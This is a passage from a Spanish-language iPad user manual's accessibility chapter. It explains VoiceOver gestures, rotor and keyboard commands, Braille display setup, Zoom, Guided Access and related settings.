Acceso Universal” en la parte inferior de la pantalla Resumen. Para obtener más información sobre las características de accesibilidad del iPad, vaya a www.apple.com/es/accessibility. VoiceOver VoiceOver describe en voz alta los elementos que aparecen en la pantalla, para que pueda utilizar el iPad sin verlo. VoiceOver informa de cada ítem que se selecciona en la pantalla. Cuando se selecciona un ítem, se resalta con el cursor de VoiceOver (un rectángulo de color negro) y VoiceOver pronuncia el nombre del ítem o lo describe. Toque la pantalla o arrastre los dedos para escuchar distintos ítems de la pantalla. Cuando se selecciona texto, VoiceOver lo lee. Si activa “Leer indicaciones”, VoiceOver puede decirle el nombre del ítem y facilitarle instrucciones como, por ejemplo, “pulse dos veces para abrir”. Para interactuar con ítems de la pantalla, como botones y enlaces, use los gestos que se describen en Aprendizaje de gestos de VoiceOver en la página 106. AccesibilidadCapítulo 26 Accesibilidad 104 Al pasar a una pantalla nueva, VoiceOver emite un sonido y, a continuación, selecciona el primer ítem de la pantalla (normalmente, el ítem situado en la esquina superior izquierda) y lo lee en alto. VoiceOver también le informa cuando la pantalla cambia entre las orientaciones vertical y horizontal, y cuando la pantalla se bloquea y desbloquea. Nota: VoiceOver habla en el idioma especificado en los ajustes Internacional, un aspecto que puede verse afectado por el ajuste “Formato regional” de Ajustes > General > Internacional. VoiceOver está disponible en numerosos idiomas, aunque no en todos. Nociones básicas sobre VoiceOver Importante: VoiceOver cambia los gestos que usted utiliza para controlar el iPad. Una vez activado, deberá usar los gestos de VoiceOver para controlar el iPad, incluso para desactivar la propia función y reanudar la operación normal. Activar o desactivar VoiceOver: Vaya a Ajustes > General > Accesibilidad > VoiceOver. También puede ajustar la función “Clic triple en Inicio” para activar o desactivar VoiceOver. Consulte Clic triple en Inicio en la página 113. Explorar la pantalla: Arrastre el dedo sobre la pantalla. VoiceOver dirá en voz alta cada ítem que toque. Levante el dedo para dejar un ítem seleccionado. • Seleccionar un ítem: Púlselo o levante el dedo mientras lo arrastra sobre él. • Seleccionar el ítem siguiente o el anterior: Desplácese a la derecha o a la izquierda con un dedo. El orden de los ítems es de izquierda a derecha y de arriba a abajo. • Seleccionar el ítem superior o inferior: Utilice el rotor para activar la “Navegación vertical” y deslice un dedo hacia arriba o hacia abajo. • Seleccionar el primer o el último ítem de la pantalla: Deslice cuatro dedos hacia arriba o hacia abajo. • Seleccionar un ítem por el nombre: Pulse tres veces con dos dedos en cualquier lugar de la pantalla para abrir el “Selector de ítem”. A continuación, escriba un nombre en el campo de búsqueda, o desplácese hacia la derecha o hacia la izquierda para moverse por la lista alfabética, o pulse el índice alfabético situado a la derecha de la lista y desplácese hacia arriba o hacia abajo para moverse rápidamente por la lista de ítems. • Cambiar el nombre de un ítem seleccionado para que sea más fácil de encontrar: Pulse dos veces y mantenga pulsado con dos dedos en cualquier lugar de la pantalla. • Leer el texto del ítem seleccionado: Ajuste el control de rotor a caracteres o palabras y desplá- cese hacia abajo o hacia arriba con un dedo. • Activar o desactivar las indicaciones habladas: Vaya a Ajustes > General > Accesibilidad > VoiceOver. • Incluir la ortografía fonética: Vaya a Ajustes > General > Accesibilidad > VoiceOver > Alfabeto por palabras. • Leer todos los elementos de la pantalla desde la parte superior: Desplace dos dedos hacia arriba. • Leer desde el ítem actual hasta el final de la pantalla: Desplace dos dedos hacia abajo. • Detener la locución: Pulse una vez con dos dedos. Pulse de nuevo con dos dedos para reanudar la pronunciación. La lectura se reanuda automáticamente al seleccionar otro ítem. • Silenciar VoiceOver: Pulse dos veces con tres dedos. Vuelva a pulsar dos veces con tres dedos para activar el habla de nuevo. Para desactivar únicamente los sonidos de VoiceOver, ajuste el interruptor de tono/silencio en Silencio. Si hay un teclado externo conectado, también puede pulsar la tecla Control para activar o desactivar el sonido de VoiceOver.Capítulo 26 Accesibilidad 105 Ajustar la voz: Puede ajustar las características de la voz de VoiceOver para que le resulte más fácil comprenderla: • Cambiar el volumen del habla: Utilice los botones de volumen del iPad. También puede añadir volumen al rotor y, a continuación, desplazarse hacia arriba y hacia abajo para ajustarlo; para ello, consulte Uso del control de rotor de VoiceOver en la página 108. • Cambiar la velocidad del habla: Vaya a Ajustes > General > Accesibilidad > VoiceOver y arrastre el regulador “Velocidad de habla”. También puede añadir “Velocidad de habla” al rotor y, a continuación, desplazarse hacia arriba o hacia abajo para realizar ajustes. • Usar cambios de tono: VoiceOver utiliza un tono más alto al pronunciar el primer elemento de un grupo (como una lista o una tabla) y un tono más bajo al pronunciar el último elemento. Vaya a Ajustes > General > Accesibilidad > VoiceOver > Cambio de tono. • Cambiar el idioma del iPad: Vaya a Ajustes > General > Internacional > Idioma. La pronunciación de VoiceOver en algunos idiomas varía según el ajuste de Ajustes > General > Internacional > Formato regional. • Cambiar la pronunciación: Ajuste el rotor a Idioma y desplácese hacia arriba o hacia abajo. La opción “Idioma” solo estará disponible en el rotor si selecciona más de una pronunciación. • Seleccionar las pronunciaciones disponibles en el rotor de idiomas: Vaya a Ajustes > General > Accesibilidad > VoiceOver > Rotor de idiomas. Para cambiar la posición de un idioma en la lista, arrastre hacia arriba o hacia abajo. • Cambiar la voz de lectura básica: Vaya a Ajustes > General > Accesibilidad > VoiceOver > Usar voz compacta. Uso del iPad con VoiceOver Desbloquear el iPad: Seleccione Desbloquear y pulse dos veces la pantalla. “Pulsar” para activar el ítem seleccionado: Pulse dos veces en cualquier parte de la pantalla. “Pulsar dos veces” el ítem seleccionado: Pulse tres veces en cualquier parte de la pantalla. Ajustar un regulador: Seleccione el regulador y, a continuación, desplácese hacia arriba o hacia abajo con un solo dedo. Utilizar un gesto estándar cuando VoiceOver está activado: Pulse dos veces y mantenga el dedo sobre la pantalla. Una serie de tonos indican que están activos los gestos normales. Se mantendrán activos hasta que suelte el dedo, momento en el que se reanudarán los gestos de VoiceOver. Desplazarse por una lista o área de la pantalla: Deslice tres dedos hacia arriba o hacia abajo. Si se está desplazando por las páginas de una lista, VoiceOver leerá el intervalo de ítems mostrados (por ejemplo, “mostrando filas 5 a 10”). También puede desplazarse de modo continuo por una lista, en lugar de desplazarse por sus páginas. Pulse dos veces y mantenga la pulsación. Cuando oiga una serie de tonos, mueva el dedo hacia arriba o hacia abajo para desplazarse por la lista. El desplazamiento continuo se detendrá cuando suelte el dedo. • Desplazarse de forma continua por una lista: Pulse dos veces y mantenga la pulsación. Cuando oiga una serie de tonos, mueva el dedo hacia arriba o hacia abajo para desplazarse por la lista. El desplazamiento continuo se detendrá cuando suelte el dedo.Capítulo 26 Accesibilidad 106 • Usar un índice de lista: Algunas listas incluyen un índice alfabético en la parte derecha de la pantalla. No es posible seleccionar el índice desplazándose entre los ítems; es necesario tocar el índice directamente para seleccionarlo. Con el índice seleccionado, desplácese hacia arriba o hacia abajo para moverse por el índice. También puede pulsar dos veces y deslizar el dedo hacia arriba o hacia abajo. • Reordenar una lista: Puede cambiar el orden de los elementos de algunas listas, como los ajustes del rotor y del rotor de idiomas en los ajustes de Accesibilidad. Seleccione situado a la derecha de un ítem, púlselo dos veces y mantenga la última pulsación hasta que oiga un sonido; a continuación, arrástrelo hacia arriba o hacia abajo. VoiceOver pronuncia el ítem que ha movido hacia arriba o hacia abajo, según la dirección en la que arrastre. Reorganizar la pantalla de inicio: En la pantalla de inicio, seleccione el icono que desee mover. Pulse dos veces el icono y mantenga la pulsación; a continuación, arrástrelo. VoiceOver leerá en alto la posición de fila y columna mientras arrastra el icono. Suelte el icono cuando esté en la ubicación que desee. Puede arrastrar otros iconos. Arrastre un ítem hacia el lado izquierdo o derecho de la pantalla para moverlo a una página distinta de la pantalla de inicio. Cuando termine, pulse el botón de inicio . Leer la información de estado del iPad: Pulse la parte superior de la pantalla para escuchar información sobre la hora, la duración de la batería, la intensidad de la señal Wi-Fi y otros datos de interés. Leer notificaciones: Vaya a Ajustes > General > Accesibilidad > VoiceOver y active “Leer notificaciones”. Las notificaciones, incluido el texto de los mensajes de texto entrantes, se leerán en voz alta conforme se produzcan, aunque el iPad esté bloqueado. Las notificaciones de las que no se haya acusado recibo se repetirán cuando se desbloquee el iPad. Activar o desactivar la cortina de pantalla: Pulse tres veces con tres dedos. Si la cortina de pantalla está activada, el contenido de la pantalla estará activo aunque la pantalla esté desactivada. Aprendizaje de gestos de VoiceOver Cuando VoiceOver está activado, los gestos estándar de la pantalla táctil dan lugar a distintos efectos. Estos y otros gestos le permiten desplazarse por la pantalla y controlar cada uno de los ítems seleccionados. Los gestos de VoiceOver incluyen el uso de dos y tres dedos para pulsar o desplazar. Para lograr el mejor resultado posible con los gestos de dos y tres dedos, relaje los dedos y toque la pantalla dejando algo de espacio entre ellos. Puede utilizar distintas técnicas para introducir gestos de VoiceOver. Por ejemplo, puede introducir una pulsación de dos dedos utilizando dos dedos de una mano o un dedo de cada mano. También puede utilizar los pulgares. Muchos usuarios encuentran muy eficaz el gesto de la “pulsación dividida”: en vez de seleccionar un ítem y pulsarlo dos veces, puede pulsar un ítem con un dedo, mantenerlo pulsado y, entonces, pulsar la pantalla con otro dedo. Pruebe con distintas técnicas para averiguar cuál es la que mejor le va. Si sus gestos no funcionan, pruebe realizando movimientos más rápidos, especialmente en el caso de los gestos de doble pulsación y desplazamiento. Para desplazarse, pruebe a barrer la pantalla rápidamente con el dedo o los dedos. Cuando VoiceOver está activado, aparece el botón “Práctica de VoiceOver”, que le da la oportunidad de practicar los gestos de VoiceOver antes de continuar. Practicar los gestos de VoiceOver: Vaya a Ajustes > General > Accesibilidad > VoiceOver y, a continuación, pulse “Práctica de VoiceOver”. Cuando termine de practicar, pulse Salir. Si no ve el botón “Práctica de VoiceOver”, asegúrese de que VoiceOver esté activado.Capítulo 26 Accesibilidad 107 A continuación se muestra un resumen de los gestos más importantes de VoiceOver: Navegar y leer • Pulsación: Pronunciar el ítem. • Deslizamiento a derecha o izquierda: Seleccionar el siguiente ítem o el ítem anterior. • Deslizamiento hacia arriba o hacia abajo: Depende del ajuste del control de rotor. Consulte Uso del control de rotor de VoiceOver en la página 108. • Pulsación con dos dedos: Detener la pronunciación del ítem actual. • Deslizamiento hacia arriba con dos dedos: Leer todo desde la parte superior de la pantalla. • Deslizamiento hacia abajo con dos dedos: Leer todo desde la posición actual. • Barrido con dos dedos: Mover dos dedos de un lado a otro tres veces rápidamente (dibujando una “z”) para descartar una alerta o ir a la pantalla anterior. • Deslizamiento hacia arriba o hacia abajo con tres dedos: Pasar una página cada vez. • Deslizamiento a la derecha o a la izquierda con tres dedos: Ir a la siguiente página o a la página anterior (como la pantalla de inicio, Bolsa o Safari). • Pulsación con tres dedos: Leer información adicional, como la posición dentro de una lista o si hay texto seleccionado. • Pulsación con cuatro dedos en la parte superior de la pantalla: Seleccionar el primer ítem de la página. • Pulsación con cuatro dedos en la parte inferior de la pantalla: Seleccionar el último ítem de la página. Activar • Doble pulsación: Activar el ítem seleccionado. • Tripe pulsación: Pulsar dos veces un ítem. • Pulsación dividida: En lugar de seleccionar un ítem y pulsarlo dos veces para activarlo, puede pulsar un ítem con un dedo y, a continuación, pulsar la pantalla con otro dedo. • Pulsar dos veces y mantener la pulsación (1 segundo) + gesto estándar: Usar un gesto estándar. El gesto de doble pulsación y mantenimiento indica al iPad que debe interpretar el siguiente gesto como un gesto estándar. Por ejemplo, puede pulsar dos veces y mantener la pulsación y, a continuación, sin soltar el dedo, arrastrarlo para regular un interruptor. • Doble pulsación con dos dedos: Reproducir o poner en pausa Música, Vídeos, Notas de Voz o Fotos. Hacer una fotografía en Cámara. Iniciar o detener la grabación de la cámara o las notas de voz. Iniciar o detener el cronómetro. • Pulsar dos veces con dos dedos y mantener la pulsación: Reetiqueta el ítem seleccionado. • Triple pulsación con dos dedos: Abrir el “Selector de ítem”. • Doble pulsación con tres dedos: Activar o desactivar sonido de VoiceOver. • Triple pulsación con tres dedos: Activar o desactivar la cortina de pantalla.Capítulo 26 Accesibilidad 108 Uso del control de rotor de VoiceOver Use el rotor para seleccionar lo que ocurrirá cuando se desplace hacia arriba o hacia abajo con VoiceOver activado. Funcionamiento de un rotor: Gire dos dedos sobre la pantalla del iPad alrededor de un punto situado entre ambos. Cambiar las opciones incluidas en el rotor: Vaya a Ajustes > General > Accesibilidad > VoiceOver > Rotor y, a continuación, seleccione las opciones que desee que estén disponibles mediante el uso del rotor. Las posiciones disponibles del rotor y sus efectos dependerán de lo que esté haciendo. Por ejemplo, si está leyendo un mensaje de correo electrónico, puede utilizar el rotor para pasar de escuchar la pronunciación del texto palabra por palabra a carácter por carácter, o viceversa, desplazándose hacia arriba o hacia abajo. Si está navegando por una página web, puede ajustar el rotor para leer todo el texto (palabra por palabra o carácter por carácter) o para saltar de un ítem a otro de un tipo determinado, como títulos o enlaces. Introducción y edición de texto con VoiceOver Al escribir en un campo de texto editable, puede utilizar el teclado en pantalla o un teclado externo conectado al iPad para introducir texto. Introducir texto: Seleccione un campo de texto editable, pulse dos veces para mostrar el punto de inserción y el teclado en pantalla y, a continuación, escriba caracteres. • Escritura normal: Seleccione una tecla del teclado deslizando un dedo hacia la izquierda o hacia la derecha y pulse dos veces para introducir el carácter. Otra opción consiste en desplazar el dedo por el teclado para seleccionar una tecla y, mientras mantiene pulsada la tecla con un dedo, pulsar la pantalla con otro dedo. VoiceOver pronuncia la tecla al seleccionarla y vuelve a pronunciarla al introducir el carácter. • Escritura táctil: Toque una tecla del teclado para seleccionarla y levante el dedo para introducir el carácter. Si toca una tecla equivocada, desplace el dedo por el teclado hasta que seleccione la tecla deseada. VoiceOver pronuncia el carácter de cada tecla que toca, pero no introducirá ningún carácter hasta que levante el dedo. La escritura al tacto solo funciona con las teclas que introducen texto. Utilice la escritura normal para las demás teclas, como Mayúsculas, Suprimir y Retorno. • Seleccionar la escritura normal o la escritura táctil: Si VoiceOver está activado y hay una tecla seleccionada en el teclado, utilice el rotor para seleccionar el tipo de escritura y, a continuación, deslice el dedo hacia arriba o hacia abajo. Mover el punto de inserción: Realice un deslizamiento hacia arriba o hacia abajo para mover el punto de inserción hacia delante o hacia atrás en el texto. Use el rotor para indicar si desea mover el punto de inserción carácter por carácter, palabra por palabra o línea a línea. VoiceOver emite un sonido cuando el punto de inserción se mueve, y pronuncia el carácter, la palabra o la línea a donde se ha desplazado el punto de inserción. Al avanzar por palabras, el punto de inserción se coloca al final de cada palabra, antes del espacio o signo de puntuación posterior a la palabra. Al retroceder, el punto de inserción se coloca al final de la palabra precedente, antes del espacio o signo de puntuación posterior a aquella.Capítulo 26 Accesibilidad 109 Mover el punto de inserción más allá de la puntuación al final de una palabra o frase: Use el rotor para volver al modo de carácter. Al mover el punto de inserción línea a línea, VoiceOver pronuncia cada una de las líneas mientras se desplaza. Al avanzar, el punto de inserción se coloca al principio de la siguiente línea (excepto cuando se alcanza la última línea de un párrafo: en ese caso, el punto de inserción se coloca al final de la línea que acaba de pronunciarse). Al retroceder, el punto de inserción se coloca al principio de la línea pronunciada. Cambiar la función de pronunciar al escribir: Vaya a Ajustes > General > Accesibilidad > VoiceOver > Pronunciar al escribir. Usar el alfabeto por palabras al pronunciar lo que se escribe: Vaya a Ajustes > General > Accesibilidad > VoiceOver > Alfabeto por palabras. El texto se leerá carácter por carácter. VoiceOver pronuncia primero el carácter y, a continuación, su equivalente fonético; por ejemplo, “f” y después “foxtrot”. Eliminar un carácter: Seleccione y pulse dos veces o realice una pulsación dividida. Debe hacerlo así incluso en el modo de escritura táctil. Para eliminar varios caracteres, mantenga pulsada la tecla Suprimir y pulse la pantalla con otro dedo una vez por cada carácter que desee borrar. VoiceOver pronunciará el carácter mientras lo elimina. Si la opción “Cambio de tono” está activada, VoiceOver pronuncia los caracteres eliminados en un tono más bajo. Seleccionar texto: Ajuste el rotor a Edición, deslice hacia arriba o hacia abajo para elegir entre Seleccionar o “Seleccionar todo” y, a continuación, pulse dos veces. Si elige Seleccionar, se seleccionará la palabra situada más cerca del punto de inserción al pulsar dos veces. Si elige “Seleccionar todo”, se seleccionará todo el texto. Pellizque para ampliar o reducir la selección. Cortar, copiar o pegar: Asegúrese de que el rotor esté ajustado en el modo de edición. Seleccione el texto, desplácese hacia arriba o hacia abajo para seleccionar Cortar, Copiar o Pegar y, a continuación, pulse dos veces. Deshacer: Agite el iPad, desplácese hacia la izquierda o hacia la derecha para seleccionar la acción que desee deshacer y, a continuación, pulse dos veces. Introducir un carácter acentuado: En el modo de escritura normal, seleccione el carácter sin acento y, a continuación, pulse dos veces y mantenga la pulsación hasta que oiga un sonido que indique la aparición de caracteres acentuados. Arrastre hacia la izquierda o hacia la derecha para seleccionar y escuchar las opciones. Suelte el dedo para introducir la selección actual. Cambiar el idioma del teclado: Ajuste el rotor a Idioma y desplácese hacia arriba o hacia abajo. Seleccione “Idioma por omisión” para utilizar el idioma especificado en los ajustes Internacional. El rotor de idiomas aparece si selecciona más de un idioma en Ajustes > General > Accesibilidad > VoiceOver > Rotor de idiomas. Uso de VoiceOver con Safari Cuando realice búsquedas en Internet con Safari y la opción VoiceOver activada, los ítems del rotor “Resultados de la búsqueda” le permitirán escuchar la lista de las frases de búsqueda sugeridas. Buscar en Internet: Seleccione un campo de búsqueda, introduzca la búsqueda y, a continuación, deslice hacia la derecha o hacia la izquierda para desplazar la lista de frases de búsqueda sugeridas hacia arriba o hacia abajo. A continuación, pulse dos veces la pantalla para buscar en Internet la frase seleccionada.Capítulo 26 Accesibilidad 110 Ajustar las opciones del rotor para navegar por Internet: Vaya a Ajustes > General > Accesibilidad > VoiceOver > Rotor. Pulse para seleccionar las opciones o anular su selección, o arrastre hacia arriba para cambiar la posición de un ítem. Omitir las imágenes al navegar: Vaya a Ajustes > General > Accesibilidad > VoiceOver > Explorar imágenes. Puede seleccionar que se omitan todas las imágenes o solo las que no incluyan descripciones. Reducir los elementos de una página para facilitar la lectura y la navegación: Seleccione el ítem Lector en el campo de dirección de Safari (no disponible en todas las páginas). Uso de VoiceOver con Mapas Con VoiceOver, puede acercar o alejar la imagen, seleccionar un marcador u obtener información sobre una ubicación. Explorar el mapa: Arrastre el dedo por la pantalla o deslice hacia la izquierda o hacia la derecha para desplazarse a otro ítem. Acercar o alejar la imagen: Seleccione el mapa, ajuste el rotor a Zoom y, a continuación, deslice hacia arriba o hacia abajo con un dedo. Desplazar el mapa: Deslice con tres dedos. Explorar puntos visibles de interés: Ajuste el rotor a “Puntos de interés” y deslice un dedo hacia arriba o hacia abajo. Seguir una carretera: Mantenga el dedo sobre la carretera, espere hasta oír “pausa para seguir” y, a continuación, mueva el dedo a lo largo de la carretera mientras escucha el tono de guía. El tono subirá si se aleja de la carretera. Seleccionar un marcador: Toque un marcador, o deslice hacia la izquierda o hacia la derecha para seleccionar el marcador. Obtener información sobre una ubicación: Con un marcador seleccionado, pulse dos veces para mostrar el indicador de información. Deslice hacia la izquierda o hacia la derecha para seleccionar el botón “Más información” y, a continuación, pulse dos veces para mostrar la página de información. Edición de vídeos con VoiceOver Puede utilizar gestos de VoiceOver para acortar los vídeos de la cámara. Cortar un vídeo: Mientras visualiza un vídeo, pulse dos veces la pantalla para mostrar los controles de vídeo. Seleccione el comienzo o el final de la herramienta Acortar. A continuación, desplá- cese hacia arriba para arrastrar a la derecha, o hacia abajo para arrastrar a la izquierda. VoiceOver indicará la cantidad de tiempo que la posición actual acortará de la grabación. Para completar el acortamiento, seleccione Cortar y pulse dos veces. Cómo controlar VoiceOver con un teclado inalámbrico de Apple Puede controlar VoiceOver con un teclado inalámbrico de Apple enlazado con el iPad. Consulte Dispositivos Bluetooth en la página 35. Puede usar los comandos de teclado de VoiceOver para desplazarse por la pantalla, seleccionar elementos, leer el contenido de la pantalla, ajustar el rotor y realizar otras acciones de VoiceOver. Todos los comandos de teclado (excepto uno) incluyen Control + Opción, que aparece abreviado como “CO” en la tabla siguiente. Capítulo 26 Accesibilidad 111 La Ayuda VoiceOver lee en alto las teclas o los comandos de teclado mientras los escribe. Puede usar la Ayuda VoiceOver para obtener información acerca de la disposición del teclado y de las acciones asociadas a las distintas combinaciones de teclas. Comandos de teclado de VoiceOver CO = Control + Opción • Leer todo a partir de la posición actual: CO + A • Leer desde la parte superior: CO + B • Ir a la barra de estado: CO + M • Pulsar el botón de inicio: CO + H • Seleccionar el ítem siguiente o el anterior: CO + flecha derecha o CO + flecha izquierda • Pulsar un ítem: CO + barra espaciadora • Pulsar dos veces con dos dedos: CO + “-” • Seleccionar el ítem siguiente del rotor o el anterior: CO + flecha arriba o CO + flecha abajo • Seleccionar el ítem siguiente del rotor de habla o el anterior: CO + Comando + flecha izquierda o CO + Comando + flecha derecha • Ajustar el ítem del rotor de habla: CO + Comando + flecha arriba o CO + Comando + flecha abajo • Activar o desactivar el sonido de VoiceOver: CO + S • Activar o desactivar la cortina de pantalla: CO + Mayúsculas + S • Activar la Ayuda VoiceOver: CO + K • Volver a la pantalla anterior o desactivar la Ayuda VoiceOver: Esc Navegación rápida Active la función de navegación rápida para controlar VoiceOver con las flechas de dirección. • Activar o desactivar la función de navegación rápida: Flecha izquierda + flecha derecha • Seleccionar el ítem siguiente o el anterior: Flecha derecha o flecha izquierda • Seleccionar el ítem siguiente o el anterior especificado por el ajuste del rotor: Flecha arriba o flecha abajo • Seleccionar el primer o el último ítem: Control + flecha arriba o Control + flecha abajo • “Pulsar” un ítem: Flecha arriba + flecha abajo • Desplazarse hacia arriba, hacia abajo, hacia la izquierda o hacia la derecha: Opción + flecha arriba, Opción + flecha abajo, Opción + flecha izquierda u Opción + flecha derecha • Cambiar el rotor: Flecha arriba + flecha izquierda o flecha arriba o + flecha derecha Navegación rápida de una sola letra para Internet Cuando visualice una página web con la función de navegación rápida activada, podrá utilizar las siguientes teclas del teclado para desplazarse rápidamente por la página. Al pulsar la tecla se trasladará al siguiente ítem del tipo indicado. Para ir al ítem anterior, mantenga pulsada la tecla Mayúsculas al teclear la letra. • Título: H • Enlace: L • Campo de texto: R • Botón: B • Control de formulario: C • Imagen: ICapítulo 26 Accesibilidad 112 • Tabla: T • Texto estático: S • Punto de referencia ARIA: W • Lista: X • Ítem del mismo tipo: M • Cabecera de nivel 1: 1 • Cabecera de nivel 2: 2 • Cabecera de nivel 3: 3 • Cabecera de nivel 4: 4 • Cabecera de nivel 5: 5 • Cabecera de nivel 6: 6 Uso de una pantalla Braille con VoiceOver Puede utilizar una pantalla Braille Bluetooth para leer en Braille la salida de texto de VoiceOver, y puede utilizar una pantalla Braille con teclas de entrada y otros controles para controlar el iPad cuando VoiceOver está activado. El iPad es compatible con muchos modelos de pantallas Braille inalámbricas. Puede consultar una lista de las pantallas Braille compatibles en www.apple.com/es/accessibility/iphone/braille-display.html. Configurar una pantalla Braille: Encienda la pantalla y, a continuación, vaya a Ajustes > General > Bluetooth y active Bluetooth. Después, vaya a Ajustes > General > Accesibilidad > VoiceOver > Braille y seleccione la pantalla. Activar o desactivar el sistema Braille de ocho puntos o contraído: Vaya a Ajustes > General > Accesibilidad > VoiceOver > Braille. Para obtener información sobre comandos comunes de Braille para la navegación en VoiceOver, así como para obtener información específica de determinadas pantallas, vaya a http://support.apple.com/kb/HT4400?viewlocale=es_ES. La pantalla Braille utiliza el idioma especificado para “Control por voz”. Normalmente se trata del idioma ajustado para el iPad en Ajustes > Internacional > Idioma. Puede usar el ajuste de idioma de VoiceOver para ajustar otro idioma para VoiceOver y para las pantallas Braille. Ajustar el idioma para VoiceOver: Vaya a Ajustes > General > Internacional > “Control por voz” y, a continuación, seleccione el idioma. Si cambia el idioma del iPad, es posible que deba volver a ajustar el idioma para VoiceOver y la pantalla Braille. Puede usar la celda del extremo izquierdo o derecho de la pantalla Braille para ver el estado del sistema y demás información: • El historial de avisos contiene un mensaje no leído • El mensaje actual del historial de avisos no se ha leído • El habla de VoiceOver está silenciada • El nivel de batería del iPad es bajo (menos del 20% de la carga) • El iPad está en orientación horizontal • La pantalla está apagada • La línea actual contiene texto adicional a la izquierda • La línea actual contiene texto adicional a la derechaCapítulo 26 Accesibilidad 113 Ajustar la celda del extremo izquierdo o derecho para que muestre información de estado: Vaya a Ajustes > General > Accesibilidad > VoiceOver > Braille > “Celda de estado” y, a continuación, pulse Izquierda o Derecha. Ver una descripción ampliada de la celda de estado: En la pantalla Braille, pulse el botón posicionador de la celda de estado. Siri Con Siri, puede realizar operaciones con su iPad, como abrir apps, simplemente pidiéndoselo, y VoiceOver puede leerle las respuestas de Siri. Para obtener información, consulte ¿Qué es Siri? en la página 39. Clic triple en Inicio Hacer clic triple rápidamente en el botón Inicio le permite activar o desactivar algunas funciones de Accesibilidad. Puede usar la función “Clic triple en Inicio” para: • VoiceOver • Invertir colores • Zoom • AssistiveTouch • Acceso Guiado (clic triple en Inicio pone en marcha el Acceso Guiado si ya está activado. Consulte Acceso Guiado en la página 115. Ajustar la función “Clic triple en Inicio”: Vaya a Ajustes > General > Accesibilidad > Clic triple en Inicio. Si selecciona más de uno, se le preguntará cuál quiere controlar cuando haga clic triple en el botón Inicio. Reducir la velocidad de clic: Vaya a Ajustes > General > Accesibilidad > Velocidad de clic. Zoom Muchas apps del iPod touch le permiten acercar o alejar ítems concretos. Por ejemplo, en Safari puede pulsar dos veces o pellizcar para ampliar las columnas de una página web. Además, la función de accesibilidad Zoom le permite agrandar la pantalla entera de cualquier aplicación que esté utilizando. Es posible usar Zoom junto con VoiceOver. Para acercar o alejar la imagen: Vaya a Ajustes > General > Accesibilidad > Zoom. O bien, use “Clic triple en Inicio”. Consulte Clic triple en Inicio en la página 113. Acercar o alejar la imagen: Pulse dos veces la pantalla con tres dedos. Variar la ampliación: Pulse con tres dedos y arrastre hacia arriba o hacia abajo. El gesto de pulsar y arrastrar es similar al de pulsar dos veces, salvo que tras la segunda pulsación no se levantan los dedos, sino que se arrastran sobre la pantalla. Cuando empiece a arrastrar, podrá arrastrar con un solo dedo. El iPad volverá a la ampliación ajustada cuando se aleje y vuelva a acercarse mediante la doble pulsación con tres dedos.Capítulo 26 Accesibilidad 114 Desplazar la pantalla: Mientras la pantalla está ampliada, arrastre tres dedos por la misma. Una vez que empiece a arrastrar, puede hacerlo con un solo dedo para así ver una mayor superficie de la pantalla. O bien mantenga un único dedo cerca del borde de la pantalla para desplazarse hacia ese lado. Acerque el dedo al borde para desplazarse a mayor velocidad. Al abrir una nueva pantalla, el zoom se dirige a la mitad superior de la pantalla. Cuando se usa el zoom con un teclado inalámbrico Apple Wireless Keyboard, la imagen de la pantalla sigue al punto de inserción, manteniéndolo centrado en la pantalla. Consulte Teclado inalámbrico de Apple en la página 28. Texto grande La opción “Texto grande” le permite aumentar el tamaño del texto en las alertas y en Calendario, Contactos, Mail, Mensajes y Notas. Ajustar el tamaño del texto: Vaya a Ajustes > General > Accesibilidad > Texto grande. Invertir colores A veces, si se invierten los colores de la pantalla del iPad, puede resultar más fácil leerla. Cuando Invertir colores está activado, la pantalla parece el negativo de una fotografía. Invertir los colores de la pantalla: Vaya a Ajustes > General > Accesibilidad > Invertir colores. Leer selección Incluso con VoiceOver desactivado, puede hacer que el iPad lea en voz alta cualquier texto que seleccione. Activar “Leer selección”: Vaya a Ajustes > General > Accesibilidad > Leer selección. Aquí también puede: • Ajustar la velocidad de lectura • Elegir que se resalten las palabras a medida que se leen Hacer que el sistema lea un texto: Seleccione el texto y pulse Voz. Leer texto automático La opción “Leer texto automático” lee las correcciones de texto y las sugerencias que el iPad realiza mientras escribe. Activar o desactivar “Leer texto automático”: Vaya a Ajustes > General > Accesibilidad > Leer texto automático. “Leer texto automático” también funciona con VoiceOver y Zoom. Audio mono La función “Audio mono” combina el sonido de los canales izquierdo y derecho en una señal mono que se emite por ambos lados. De este modo, los usuarios con deficiencias auditivas en un oído pueden escuchar la señal completa por el otro. Activar o desactivar el audio mono y ajustar el balance: Vaya a Ajustes > General > Accesibilidad > “Audio mono”.Capítulo 26 Accesibilidad 115 Tonos asignables Puede asignar tonos de llamada distintos a las personas de su lista de contactos para la identificación audible de llamadas de FaceTime. También puede asignar distintos tonos de alerta a eventos como, por ejemplo, un nuevo mensaje de voz, nuevo correo electrónico, envío de correo, tuit, publicación de Facebook y recordatorios. Consulte Sonidos en la página 126. Puede adquirir tonos en la tienda iTunes Store desde el iPad. Consulte Capítulo 20, La tienda iTunes Store, en la página 89. Acceso Guiado Acceso Guiado ayuda al usuario del iPad a centrarse en una tarea concreta. Acceso Guiado restringe el iPad a una sola app y le permite controlar qué funciones de la app están disponibles. Utilice Acceso Guiado para: • Restringir temporalmente el uso del iPad a una app concreta. • Desactivar zonas de la pantalla que no sean relevantes para una tarea, o zonas en las que un gesto accidental pueda provocar una distracción. • Desactivar los botones físicos del iPad. Utilizar Acceso Guiado: Vaya a Ajustes > General > Accesibilidad > “Acceso Guiado”, donde puede: • Activar o desactivar Acceso Guiado • Establecer un código que controle el uso de Acceso Guiado e impida abandonar una sesión activa • Establecer si el iPad puede entrar en reposo durante una sesión Comenzar una sesión de Acceso Guiado: Abra la aplicación que quiere ejecutar y, a continuación, haga triple clic en el botón Inicio. Configure los ajustes de la sesión y haga clic en Inicio. • Desactivar los controles de aplicación y zonas de la pantalla de la aplicación: Trace un círculo alrededor de la parte de la pantalla que quiera desactivar. Puede utilizar los tiradores para ajustar la zona. • Ignorar todos los toques de pantalla: Desactive Tocar. • Impedir que el iPad cambie de la orientación vertical a la horizontal o que responda a cualquier otro movimiento: Desactive Movimiento. Terminar una sesión de Acceso Guiado: Haga clic triple en el botón Inicio e introduzca el código de Acceso Guiado. AssistiveTouch AssistiveTouch le ayuda a usar el iPad si tiene dificultades para tocar la pantalla o pulsar los botones. Puede usar un accesorio de adaptación compatible (como un joystick) junto con AssistiveTouch para controlar el iPad. También puede utilizar AssistiveTouch sin ningún accesorio para realizar gestos que le resulten complicados. Activar AssistiveTouch: Vaya a Ajustes > General > Accesibilidad > AssistiveTouch. Para ajustar la función “Clic triple en Inicio” y activar o 